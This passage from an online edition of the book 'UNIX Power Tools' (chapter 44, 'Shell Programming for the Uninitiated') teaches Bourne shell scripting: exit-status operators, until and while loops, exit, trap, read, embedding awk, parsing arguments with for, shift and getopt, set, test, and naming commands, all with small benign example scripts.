This means "either cat the files or exit." If you can't cat the files (if cat returns an exit status of 1), you exit (38.4). If you can cat the files, you don't exit; you execute the left side or the right side.

I'm stretching normal terminology a bit here, but I think it's necessary to clarify the purpose of ||. By the way, we could give the poor user an error message before flaming out:

1>&2

cat filea fileb > filec || {
   echo sorry, no dice 1>&2
   exit 1
}

Similarly, comm1 && comm2 means "execute comm1 AND comm2," or execute comm2 if comm1 succeeds. (But if you can't execute the first, don't do any.) This might be helpful if you want to print a temporary file and delete it immediately.

lpr file && rm file

If lpr fails for some reason, you want to leave the file around. Again, I want to stress how to read this: print the file and delete it. (Implicitly: if you don't print it, don't delete it.)

- ML

Previous: 44.8 Test Exit Status with the if Statement | UNIX Power Tools | Next: 44.10 Loops That Test Exit Status
44.8 Test Exit Status with the if Statement | Book Index | 44.10 Loops That Test Exit Status
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.10 Loops That Test Exit Status

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.9 Testing Your Success Chapter 44
Shell Programming for the Uninitiated 		Next: 44.11 Set Exit Status of a Shell (Script)

44.10 Loops That Test Exit Status

The Bourne shell has two kinds of loops that run a command and test its exit status. An until loop will continue until the command returns a zero status. A while loop will continue while the command returns a zero status.

44.10.1 Looping Until a Command Succeeds

The until loop runs a command repeatedly until it succeeds. That is, if the command returns a non-zero status, the shell executes the body of the loop and then runs the loop control command again. The shell keeps running the command until it returns a zero status, as shown in the following example:

% cat sysmgr
#!/bin/sh
until who | grep "^barb "
do sleep 60
done
echo The system manager just logged on.
% sysmgr &
[1] 2345
     ...time passes...
barb     ttyp7   Jul 15 09:30
The system manager just logged on.

The loop runs who (51.4) and pipes that output to grep (27.1), which searches for any line starting with barb and a space. (The space makes sure that usernames like barbara don't match.) If grep returns non-zero (no lines matched), the shell waits 60 seconds. Then the loop repeats, and the script tries the who | grep command again. It keeps doing this until grep returns a zero status - then the loop is broken and control goes past the done line. The echo command prints a message and the script quits. (I ran this script in the background (1.26) so I could do something else while I waited for Barb.)

[A Bourne shell until loop is not identical to the until construction in most programming languages, because the condition is evaluated at the top of the loop. Virtually all languages with an until loop evaluate the condition at the bottom. -ML ]

44.10.2 Looping Until a Command Fails

catsaway
The while loop is the opposite of the until loop. A while loop runs a command and loops until the command fails (returns a non-zero status). The catsaway program below uses a while loop to watch the who output for the system manager to log off. It's the opposite of the sysmgr script.

/dev/null

% cat catsaway
#!/bin/sh
while who | grep "^barb " > /dev/null
do sleep 60
done
echo "The cat's away..."
% catsaway &
[1] 4567
     ...time passes...
The cat's away...

- JP

Previous: 44.9 Testing Your Success | UNIX Power Tools | Next: 44.11 Set Exit Status of a Shell (Script)
44.9 Testing Your Success | Book Index | 44.11 Set Exit Status of a Shell (Script)
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.11 Set Exit Status of a Shell (Script)

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.10 Loops That Test Exit Status Chapter 44
Shell Programming for the Uninitiated 		Next: 44.12 Trapping Exits Caused by Interrupts

44.11 Set Exit Status of a Shell (Script)

Most standard UNIX commands return a status (44.7). Your shell script should, too. This section shows how to set the right exit status for both normal exits and error exits.

To end a shell script and set its exit status, use the exit command. Give exit the exit status that your script should have. If it has no explicit status, it will exit with the status of the last command run.

Here's an example: a rewrite of the bkedit script from article 44.8. If the script can make a backup copy, the editor is run and the script returns the exit status from vi (usually 0). If something goes wrong with the copy, the script prints an error and returns an exit status of 1. Here's the script:

1>&2

#!/bin/sh
if cp "$1" "$1.bak"
then
    vi "$1"
    exit   # USE STATUS FROM vi
else
    echo "bkedit quitting: can't make backup?" 1>&2
    exit 1
fi

Here's what happens if I run it without a filename:

$ bkedit
cp: usage: cp fn1 fn2 or cp fn1 [fn2...] dir
bkedit quitting: can't make backup?

And here's what's left in the exit status variable:

$ echo $?
1

- JP

Previous: 44.10 Loops That Test Exit Status | UNIX Power Tools | Next: 44.12 Trapping Exits Caused by Interrupts
44.10 Loops That Test Exit Status | Book Index | 44.12 Trapping Exits Caused by Interrupts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.12 Trapping Exits Caused by Interrupts

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.11 Set Exit Status of a Shell (Script) Chapter 44
Shell Programming for the Uninitiated 		Next: 44.13 read: Reading from the Keyboard

44.12 Trapping Exits Caused by Interrupts

If you're running a shell script and you press your interrupt key (5.9) (like CTRL-c), the shell quits right away. That can be a problem if you use temporary files in your script because the sudden exit might leave the temporary files there. The trap command lets you tell the shell what to do before it exits. A trap can be used for a normal exit, too. See Table 44.1.

Here's a script named zpg that uses a temporary file named /tmp/zpg$$ in a system temporary-file directory (21.3). The shell will replace $$ with its process ID number (38.3). Because no other process will have the same ID number, that file should have a unique name. The script uncompresses (24.7) the file named on its command line, then starts the pg file viewer. [3] The script uses traps - so it will clean up the temporary files, even if the user presses CTRL-c. The script also sets a default exit status of 1 that's reset to 0 if pg quits on its own (without an interrupt).

[3] The script could run gzcat $1 | pg directly, but some versions of pg can't back up when reading from a pipe.

exit

#!/bin/sh
# zpg - UNCOMPRESS FILE, DISPLAY WITH pg
# Usage: zpg file
stat=1  # DEFAULT EXIT STATUS; RESET TO 0 BEFORE NORMAL EXIT
temp=/tmp/zpg$$
trap 'rm -f $temp; exit $stat' 0
trap 'echo "`basename $0`: Ouch! Quitting early." 1>&2' 1 2 15

case $# in
1) gzcat "$1" >$temp
   pg $temp
   stat=0
   ;;
*) echo "Usage: `basename $0` filename" 1>&2 ;;
esac

There are two traps in the script:

  • The first trap, ending with the number 0, is executed for all shell exits - normal or interrupted. It runs the command line between the single quotes. In this example, there are two commands separated with a semicolon (;) (8.5). The first command removes the temporary file (using the -f option (23.10), so rm won't give an error message if the file doesn't exist yet). The second command exits with the value stored in the stat shell variable. Look ahead at the rest of the script-$stat will always be 1 unless the pg command quit on its own, in which case stat will be reset to 0. Therefore, this shell script will always return the right exit status - if it's interrupted before it finishes, it'll return 1; otherwise, 0. [4]

    [4] It's important to use single quotes, rather than double quotes, around the trap. That way, the value of $stat won't be interpreted until the trap is actually executed when the script exits.

  • The second trap has the numbers 1 2 15 at the end. These are signal numbers that correspond to different kinds of interrupts. On newer shells, you can use signal names instead of the numbers. There's a short list in Table 44.1. For a list of all signals, type kill -l (lowercase "L") or see your online signal(3) reference page.

    This trap is done on an abnormal exit (like CTRL-c). It prints a message, but it could run any list of commands.

Table 44.1: Some UNIX Signal Numbers for trap Commands
Signal Number | Signal Name | Explanation
0 | EXIT | exit command
1 | HUP | When session disconnected
2 | INT | Interrupt - often CTRL-c
3 | QUIT | Quit - often CTRL-\
15 | TERM | From kill command

Shell scripts don't always have two traps. Look at the nom (15.9) script for an example.

I usually don't trap signal 3 (QUIT) in scripts that I use myself. That gives me an easy way to abort the script without springing the trap (removing temporary files, etc.). In scripts for general use, though, I usually do trap it.

Also, notice that the echo commands in the script have 1>&2 (45.21) at the end. That tells the Bourne shell to put the output of the echo command on the standard error instead of the standard output. This is a good idea because it helps to make sure that errors come to your screen instead of being redirected to a file or down a pipe with the other standard output text. (In this particular script, that doesn't matter much because the script is used interactively. But it's a good habit to get into for all of your scripts.)

If your trap runs a series of commands, it's probably neater to call a shell function (10.9) than a list of commands:

trap funcname 1 2 15

- JP

Previous: 44.11 Set Exit Status of a Shell (Script) | UNIX Power Tools | Next: 44.13 read: Reading from the Keyboard
44.11 Set Exit Status of a Shell (Script) | Book Index | 44.13 read: Reading from the Keyboard
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.13 read: Reading from the Keyboard

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.12 Trapping Exits Caused by Interrupts Chapter 44
Shell Programming for the Uninitiated 		Next: 44.14 Putting awk, sed, etc., Inside Shell Scripts

44.13 read: Reading from the Keyboard

The Bourne shell read command reads a line of one or more words from the keyboard (or standard input) [5] and stores the words in one or more shell variables. This is usually what you use to read an answer from the keyboard. For example:

[5] Some early versions of read don't handle < redirection (13.1); they can only read from the terminal.

echo -n "Type the filename: "
read filename

  • If you give the name of one shell variable, read stores everything from the line into that variable:

    read varname

  • If you name more than one variable, the first word typed goes into the first variable, the second word into the second variable, and so on... all leftover words go into the last variable. So, for example, with these commands:

    echo -n "Enter first and last name: "
read fn ln

    If a user types John Smith, the word John would be available from $fn and Smith would be in $ln. If the user types Jane de Boes, then Jane would be in $fn and the two words de Boes are in $ln.

Some Bourne shells have a built-in function named line that reads a line from standard input and writes it to standard output. Use it this way:

value=`line`

The grabchars (45.32) program lets you read from the keyboard without needing to press RETURN.

- JP

Previous: 44.12 Trapping Exits Caused by Interrupts | UNIX Power Tools | Next: 44.14 Putting awk, sed, etc., Inside Shell Scripts
44.12 Trapping Exits Caused by Interrupts | Book Index | 44.14 Putting awk, sed, etc., Inside Shell Scripts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.14 Putting awk, sed, etc., Inside Shell Scripts

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.13 read: Reading from the Keyboard Chapter 44
Shell Programming for the Uninitiated 		Next: 44.15 Handling Command-Line Arguments in Shell Scripts

44.14 Putting awk, sed, etc., Inside Shell Scripts

In SunExpert magazine, in his article on awk (January, 1991), Peter Collinson suggests a stylization similar to this for awk programs in shell scripts (44.1):

#!/bin/sh
awkprog='
/foo/{print $3}
/bar/{print $4}'

awk "$awkprog" $*

He argues that this is more intelligible in long pipelines because it separates the program from the command. For example:

grep foo $input | sed .... | awk "$awkprog" - | ...

Not everyone is thrilled by the "advantages" of writing awk this way, but it's true that there are disadvantages to writing awk in the standard way.

Here's an even more complex variation:

<<\

#!/bin/sh
temp=/tmp/awk.prog.$$
cat > $temp <<\END
/foo/{print $3}
/bar/{print $4}
END
awk -f $temp $1
rm -f $temp

This version makes it a bit easier to create complex programs dynamically. The final awk command becomes the equivalent of a shell eval (8.10); it executes something that has been built up at runtime. The first strategy (program in shell variable) could also be massaged to work this way.

As another example a program that I used once was really just one long pipeline, about 200 lines long. Huge awk scripts and sed scripts intervened in the middle. As a result, it was almost completely unintelligible. But if you start each program with a comment block and end it with a pipe, the result can be fairly easy to read. It's more direct than using big shell variables or temporary files, especially if there are several scripts.

#
# READ THE FILE AND DO XXX WITH awk:
#
awk '
   ...the indented awk program...
   ...
   ...
' |
#
# SORT BY THE FIRST FIELD, THEN BY XXX:
#
sort +0n -1 +3r |
#
# MASSAGE THE LINES WITH sed AND XXX:
#
sed '
   ...

Multiline pipes like that one are uglier in the C shell because each line has to end with a backslash (\) (8.15). Articles 8.14 and 8.15 have more about quoting.

- ML, JP

Previous: 44.13 read: Reading from the Keyboard | UNIX Power Tools | Next: 44.15 Handling Command-Line Arguments in Shell Scripts
44.13 read: Reading from the Keyboard | Book Index | 44.15 Handling Command-Line Arguments in Shell Scripts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.15 Handling Command-Line Arguments in Shell Scripts

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.14 Putting awk, sed, etc., Inside Shell Scripts Chapter 44
Shell Programming for the Uninitiated 		Next: 44.16 Handling Command-Line Arguments with a for Loop

44.15 Handling Command-Line Arguments in Shell Scripts

To write flexible shell scripts, you usually want to give them command-line arguments. As you've seen in other articles (44.11, 44.12), $1 holds the first command-line argument. The Bourne shell can give you arguments through the ninth, $9. The Korn Shell and some other newer Bourne-type shells understand ${10} for the tenth argument, and so on. (Article 8.5 has an overview of the shell's command-line handling.)

44.15.1 With the $@"

If you've been reading this series (44.1) of articles in order, you saw the zpg (44.12) script that accepted just one command-line argument. If you put "$@" in a script, the shell will replace that string with a quoted (8.14) set of the script's command-line arguments. Then you can pass as many arguments as you want, including pathnames with unusual characters (23.11):

% zpg report memo "savearts/What's next?"

The third argument has a perfectly legal filename; we see more and more of them on our system - especially filesystems that are networked to computers like the Macintosh, where spaces and other "special" characters in filenames are common. Double-quoting all arguments through the script helps to be sure that the script can handle these unusual (but legal!) pathnames.

In this case, we want the arguments to be passed to the gzcat command. Let's change the zpg script to read:

gzcat "$@" >$temp

When the shell runs the script with the arguments shown above, the command line will become:

gzcat "report" "memo" "savearts/What's next?" >/tmp/zpg12345

NOTE: On some Bourne shells, if there are no command-line arguments, the "$@" becomes a single empty argument (46.7), as if you'd typed this:

gzcat "" >/tmp/zpg12345

In this case, the gzcat command would complain that it can't find a file. (Of course, in this script, the case would prevent this problem. But not all scripts test the number of arguments.)

On those shells, you can replace "$@" with ${1+"$@"} (45.12). That means that if $1 is defined, "$@" should be used. A less-good fix is to replace "$@" with $*. It gives you an unquoted list of command-line arguments; that's usually fine but can cause trouble on pathnames with special characters in them.

44.15.2 With a Loop

A for loop (44.16) can step through all command-line arguments, one by one. You can also use a while loop (44.10) that tests $# (see later in this chapter) and removes the arguments one by one with the shift command (44.17). The getopt and getopts (44.18) commands handle arguments in a more standard way.

44.15.3 Counting Arguments with $#

The $# parameter counts the number of command-line arguments. For instance, if there are three arguments, $# will contain 3. This is usually used for error-checking (as in the zpg script in article 44.12) with case (44.5) or test (44.20).

- JP

Previous: 44.14 Putting awk, sed, etc., Inside Shell Scripts | UNIX Power Tools | Next: 44.16 Handling Command-Line Arguments with a for Loop
44.14 Putting awk, sed, etc., Inside Shell Scripts | Book Index | 44.16 Handling Command-Line Arguments with a for Loop
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.16 Handling Command-Line Arguments with a for Loop

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.15 Handling Command-Line Arguments in Shell Scripts Chapter 44
Shell Programming for the Uninitiated 		Next: 44.17 Handling Arguments with while and shift

44.16 Handling Command-Line Arguments with a for Loop

Sometimes you want a script that will step through the command-line arguments one by one. (The "$@" parameter (44.15) gives you all of them at once.) The Bourne shell for loop can do this. The for loop looks like this:

for arg in list
do
    ...handle $arg...
done

If you omit the in list, the loop steps through the command-line arguments. It puts the first command-line argument in arg (or whatever else you choose to call the shell variable (6.8)), then executes the commands from do to done. Then it puts the next command-line argument in arg, does the loop... and so on... ending the loop after handling all the arguments.

For an example of a for loop, let's hack on the zpg (44.12) script.

case

#!/bin/sh
# zpg - UNCOMPRESS FILE(S), DISPLAY WITH pg
# Usage: zpg [pg options] file [...files]
stat=1  # DEFAULT EXIT STATUS; RESET TO 0 BEFORE NORMAL EXIT
temp=/tmp/zpg$$
trap 'rm -f $temp; exit $stat' 0
trap 'echo "`basename $0`: Ouch! Quitting early..." 1>&2' 1 2 15

files=  switches=
for arg
do
    case "$arg" in
    -*) switches="$switches $arg" ;;
    *)  files="$files $arg" ;;
    esac
done

case "$files" in
"") echo "Usage: `basename $0` [pg options] file [files]" 1>&2 ;;
*)  for file in $files
    do gzcat "$file" | pg $switches
    done
    stat=0
    ;;
esac

We added a for loop to get and check each command-line argument. For example, let's say that a user typed:

% zpg -n afile ../bfile

The first pass through the for loop, $arg is -n. Because the argument starts with a minus sign (-), the case treats it as an option. Now the switches variable is replaced by its previous contents (an empty string), a space, and -n. Control goes to the esac and the loop repeats with the next argument.

The next argument, afile, doesn't look like an option. So now the files variable will contain a space and afile.

The loop starts over once more, with ../bfile in $arg. Again, this looks like a file, so now $files has  afile ../bfile. Because ../bfile was the last argument, the loop ends; $switches has the options and $files has all the other arguments.

Next, we added another for loop. This one has the word in followed by $files, so the loop steps through the contents of $files. The loop runs gzcat on each file, piping it to pg with any switches you gave.

Note that $switches isn't quoted (8.14). This way, if $switches is empty, the shell won't pass an empty argument to pg. Also, if $switches has more than one switch, the shell will break the switches into separate arguments at the spaces and pass them individually to pg.

You can use a for loop with any space-separated (actually, IFS (35.21)-separated) list of words - not just filenames. You don't have to use a shell variable as the list; you can use command substitution (9.16) (backquotes), shell wildcards (15.2), or just "hardcode" the list of words:

- lpr
for person in Joe Leslie Edie Allan
do
   echo "Dear $person," | cat - form_letter | lpr
done

The getopt and getopts (44.18) commands handle command-line arguments in a more standard way than for loops.

- JP

Previous: 44.15 Handling Command-Line Arguments in Shell Scripts | UNIX Power Tools | Next: 44.17 Handling Arguments with while and shift
44.15 Handling Command-Line Arguments in Shell Scripts | Book Index | 44.17 Handling Arguments with while and shift
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.17 Handling Arguments with while and shift

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.16 Handling Command-Line Arguments with a for Loop Chapter 44
Shell Programming for the Uninitiated 		Next: 44.18 Standard Command-Line Parsing

44.17 Handling Arguments with while and shift

A for loop (44.16) is great if you want to handle all of the command-line arguments to a script, one by one. But, as is often the case, some arguments are options that have their own arguments. For example, in the command grep -f filename, filename is an argument to -f; the option and its argument need to be processed together. One good way to handle this is with a combination of while (44.10), test (44.20), case (44.5), and shift. Here's the basic construct:

while [ $# -gt 0 ]
do
    case "$1" in
        -a) options="$options $1";;
            ...
        -f) options="$options $1"
            argfile="$2"
            shift
            ;;
         *) files="$files $1";;
    esac
    shift
done

The trick is this: shift removes an argument from the script's argument list, shifting all the others over by one ($1 disappears, $2 becomes $1, $3 becomes $2 and so on). To handle an option with its own argument, do another shift. The while loop uses test (44.20) to check that $# - the number of arguments - is greater than zero, and keeps going until this is no longer true, which only happens when they have all been used up.

Meanwhile, all the case has to do is to test $1 against the desired option strings. In the simple example shown above, we simply assume that anything beginning with a minus sign is an option, which we (presumably) want to pass on to some program that is being invoked by the script. So all we do is build up a shell variable that will eventually contain all of the options. It would be quite possible to do anything else instead, perhaps setting other shell variables or executing commands.

We assume that anything without a minus sign is a file. This last case could be written more robustly with a test to be sure the argument is a file. Here's an example of a simple script that uses this construct to pass an option and some files to pr and from there to a program that converts text to PostScript and on to the print spooler:

while [ $# -ne 0 ]
do
   case $1 in
        +*) pages="$1" ;;
         *) if [ -f "$1" ]; then
              files="$files $1"
            else
              echo "$0: file $1 not found" 1>&2
            fi;;
   esac
   shift
done
pr $pages $files | psprint | lpr

This approach is perhaps obsolete if you have getopts (44.18), since getopts lets you recognize option strings like -abc as being equivalent to -a -b -c but I still find it handy. [In this example, it's essential. The pr option +page-list starts with a plus sign. getopt and getopts don't support those old-style options. -JP ]

- TOR

Previous: 44.16 Handling Command-Line Arguments with a for Loop | UNIX Power Tools | Next: 44.18 Standard Command-Line Parsing
44.16 Handling Command-Line Arguments with a for Loop | Book Index | 44.18 Standard Command-Line Parsing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.18 Standard Command-Line Parsing

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.17 Handling Arguments with while and shift Chapter 44
Shell Programming for the Uninitiated 		Next: 44.19 The Bourne Shell set Command

44.18 Standard Command-Line Parsing

Most shell scripts need to handle command-line arguments - options, filenames, and so on. Articles 44.15, 44.16, and 44.17 show how to parse command lines with any Bourne shell. Those methods have two problems. You can't combine arguments with a single dash, e.g., -abc instead of -a -b -c. You also can't specify arguments to options without a space in between, e.g., -barg in addition to -b arg. [6]

[6] Although most UNIX commands allow this, it is actually contrary to the Command Syntax Standard Rules in intro of the User's Manual. The version of getopt on the CD-ROM supports this syntax. The getopts we've seen also support this, but may not in future releases.

Your Bourne shell may have a built-in command named getopts. constraints.[7]getopts lets you deal with multiple complex options without these To find out whether your shell has getopts, see your on-line sh or getopts(1) manual page.

[7] Both bash and ksh have it. getopts replaces the old command getopt; it is better integrated into the shell's syntax and runs more efficiently. C programmers will recognize getopts as very similar to the standard library routine getopt(3).

getopt
If your shell doesn't have getopts, you can use the command named getopt on the CD-ROM. getopts works differently from getopt; we won't cover it here.

getopt takes two or more arguments. The first is a string that can contain letters and colons (:). Each letter names a valid option; if a letter is followed by a colon, the option requires an argument. The second and following arguments are the original command-line options; you'll usually give "$@" (44.15) to pass all the arguments to getopt.

getopt picks each option off the command line, checks to see if the option is valid, and writes the correct option to its standard output. If an option has an argument, getopt writes the argument after its option. When getopt finds the first non-option argument (the first argument that doesn't start with a - character), it outputs two dashes (-) and the rest of the arguments. If getopt finds an invalid option, or an option that should have an argument but doesn't, it prints an error message and returns a non-zero status (44.7).

Your script can use a loop to parse the getopt output. Here's an example script named opttest that shows how getopt works.

|| {

:

#!/bin/sh
set -- `getopt "ab:" "$@"` || {
    echo "Usage: `basename $0` [-a] [-b name] [files]" 1>&2
    exit 1
}
echo "Before loop, command line has: $*"
aflag=0  name=NONE
while :
do
    case "$1" in
    -a) aflag=1 ;;
    -b) shift; name="$1" ;;
    --) break ;;
    esac
    shift
done
shift    # REMOVE THE TRAILING --
echo "aflag=$aflag / name=$name / Files are $*"

The script has two legal options. The -a option sets the variable named aflag to 1. The -b option takes a single argument; the argument is stored in the variable named name. Any other arguments are filenames.

The script starts by running getopt inside backquotes (9.16)- and using the set (44.19) command to replace the command-line arguments with the getopt output. The first argument to set, - (two dashes) (44.19), is important: it makes sure that set passes the script's options to getopt instead of treating them as options to the shell itself. An echo command shows the output of getopt. Then the loop parses the getopt output, setting shell variables as it goes. When the loop finds the - argument from getopt, it quits and leaves the remaining filenames (if any) in the command-line arguments. A second echo shows what's in the shell variables and on the command line after the loop. Here are a few examples:

% opttest
Before loop, command line has: --
aflag=0 / name=NONE / Files are
% opttest -b file1 -a file2 file3
Before loop, command line has: -b file1 -a -- file2 file3
aflag=1 / name=file1 / Files are file2 file3
% opttest -q -b file1
getopt: illegal option -- q
Usage: opttest [-a] [-b name] [files]
% opttest -bfile1
Before loop, command line has: -b file1 --
aflag=0 / name=file1 / Files are
% opttest -ab
getopt: option requires an argument -- b
Usage: opttest [-a] [-b name] [files]

The advantages of getopt are that it minimizes extra code necessary to process options and fully supports the standard UNIX option syntax (as specified in intro of the User's Manual).

- JP, BR

Previous: 44.17 Handling Arguments with while and shift | UNIX Power Tools | Next: 44.19 The Bourne Shell set Command
44.17 Handling Arguments with while and shift | Book Index | 44.19 The Bourne Shell set Command
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.19 The Bourne Shell set Command

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.18 Standard Command-Line Parsing Chapter 44
Shell Programming for the Uninitiated 		Next: 44.20 test: Testing Files and Strings

44.19 The Bourne Shell set Command

[Most of this article, except IFS and --, also applies to the C shell. -JP]

The Bourne shell command line can have options like -e (exit if any command returns non-zero status). It can also have other arguments; these are passed to shell scripts. You can set new command-line parameters while you're typing interactive commands (at a shell prompt) or in a shell script.

To reset the command-line parameters, just type set followed by the new parameters. So, for example, to ask the shell to show expanded versions of command lines after you type them, set the -v (verbose) option (8.17):

$ set -v
$ mail $group1 < message
mail andy ellen heather steve wilma < message
$ mail $group2 < message
mail jpeek@jpeek.com randy@xyz.edu yori@mongo.medfly.com < message
$ set +v

Typing set +v cancels the v option on many Bourne shells.

You can put filenames or any other strings in the command-line parameters interactively or from a shell script. That's handy for storing and parsing the output of a UNIX command with backquotes (9.16). For example, you can get a list of all logged-in users from the parameters $1, $2, and so on. Use users if your system has it. Otherwise, use who (51.4)- and cut (35.14) to strip off everything but the usernames:

for

$ set `users`
$ set `who | cut -c1-8`
$ for u
> do
> ...do something with each user ($u)...
> done

You can save the original parameters in another variable and reset them later:

oldparms="$*"
set something new
    ...use new settings...
set $oldparms

If the first parameter you set starts with a dash, like -e, the shell will treat it as its own option instead of as a string to put into the command-line parameters. To avoid this, use -- (two dashes) as the first argument to set. In this example, $1 gets -e, and the filenames expanded from the wildcard pattern go into $2, $3, etc.:

set -- -e file*

Because the shell parses and scans the new parameters before it stores them, wildcards (15.2) and other special characters (8.19) will be interpreted - watch your quoting (8.14). You can take advantage of this to parse lines of text into pieces that aren't separated with the usual spaces and TABs - for instance, a line from a database with colon-separated fields - by setting the IFS (35.21) variable before the set command.

If you want to save any special quoting on the original command line, be careful; the quoting will be lost unless you're clever. For example, if $1 used to be John Smith, it'll be split after it's restored: $1 will have John and $2 will be Smith. A better solution might be to use a subshell (13.7) for the part of the script where you need to reset the command-line parameters:

# reset command-line parameters during subshell only:
(set some new parameters
   ...do something with new parameters...
)
# original parameters aren't affected from here on...

One last note: set won't set $0, the name of the script file.

- JP

Previous: 44.18 Standard Command-Line Parsing | UNIX Power Tools | Next: 44.20 test: Testing Files and Strings
44.18 Standard Command-Line Parsing | Book Index | 44.20 test: Testing Files and Strings
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.20 test: Testing Files and Strings

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.19 The Bourne Shell set Command Chapter 44
Shell Programming for the Uninitiated 		Next: 44.21 Picking a Name for a New Command

44.20 test: Testing Files and Strings

UNIX has a command called test that does a lot of useful tests. For instance, test can check whether a file is writable before your script tries to write to it. It can treat the string in a shell variable as a number and do comparisons ("is that number less than 1000?"). You can combine tests, too ("if the file exists and it's readable and the message number is more than 500..."). Some versions of test have more tests than others. For a complete list, read your shell's manual page (if your shell has test built in (1.10)) or the online test(1) manual page.

The test command returns a zero status (44.7) if the test was true or a non-zero status otherwise. So people usually use test with if, while, or until. Here's a way your program could check to see if the user has a readable file named .signature in the home directory:

$HOME

$myname

if test -r $HOME/.signature
then
    ...Do whatever...
else
    echo
    exit 1
fi

The test command also lets you test for something that isn't true. Add an exclamation point (!) before the condition you're testing. For example, the following test is true if the .signature file is not readable:

if test ! -r $HOME/.signature
then
    echo "$myname: Can't read your '.signature'.  Quitting." 1>&2
    exit 1
fi

UNIX also has a version of test (a link to the same program, actually) named [. Yes, that's a left bracket. You can use it interchangeably with the test command with one exception: there has to be a matching right bracket (]) at the end of the test. The second example above could be rewritten this way:

if [ ! -r $HOME/.signature ]
then
    echo "$myname: Can't read your '.signature'.  Quitting." 1>&2
    exit 1
fi

test
Be sure to leave space between the brackets and other text. There are a couple of other common gotchas caused by empty arguments; articles 46.4 and 46.5 have workarounds. (For completeness, GNU test is on the CD-ROM. But, for speed, we recommend using your shell's built-in version unless you need one of the GNU features.)

- JP

Previous: 44.19 The Bourne Shell set Command | UNIX Power Tools | Next: 44.21 Picking a Name for a New Command
44.19 The Bourne Shell set Command | Book Index | 44.21 Picking a Name for a New Command
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.21 Picking a Name for a New Command

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.20 test: Testing Files and Strings Chapter 44
Shell Programming for the Uninitiated 		Next: 44.22 Finding a Program Name; Multiple Program Names

44.21 Picking a Name for a New Command

When you write a new program or shell script, you'll probably want to be sure that its name doesn't conflict with any other commands on the system. For instance, you might wonder whether there's a command named tscan. You can check by typing one of the commands in the following example. If you get output (besides an error) from one of them, there's probably already a command with the same name. (The type command works on ksh, bash and many Bourne shells; I've shown it with a currency sign ($) prompt.)

which

whereis

alias

% man 1 tscan
No manual entry for tscan in section 1.
% which tscan
no tscan in . /xxx/ehuser/bin /usr/bin/X11 /usr/local/bin ...
% whereis tscan
tscan:
% alias tscan
%

$ type tscan
tscan not found

- JP

Previous: 44.20 test: Testing Files and Strings | UNIX Power Tools | Next: 44.22 Finding a Program Name; Multiple Program Names
44.20 test: Testing Files and Strings | Book Index | 44.22 Finding a Program Name; Multiple Program Names
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.22 Finding a Program Name; Multiple Program Names

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.21 Picking a Name for a New Command Chapter 44
Shell Programming for the Uninitiated 		Next: 44.23 Reading Files with the . and source Commands

44.22 Finding a Program Name; Multiple Program Names

A UNIX program should use its name as the first word in error messages it prints. That's important when the program is running in the background or as part of a pipeline - you need to know which program has the problem:

someprog: quitting: can't read file xxxxxx

It's tempting to use just the program name in the echo commands:

echo "someprog: quitting: can't read file $file" 1>&2

but if you ever change the program name, it's easy to forget to fix the messages. A better way is to store the program name in a shell variable at the top of the script file, and then use the variable in all messages:

myname=someprog
   ...
echo "$myname: quitting: can't read file $file" 1>&2

Even better, use the $0 parameter. The shell automatically puts the script's name there. But $0 can have the absolute pathname of the script, such as /xxx/yyy/bin/someprog. The basename (45.18) program fixes this: basename strips off the head of a pathname - everything but the filename.

For example, if $0 is /u/ehuser/bin/sendit, then:

myname="`basename $0`"

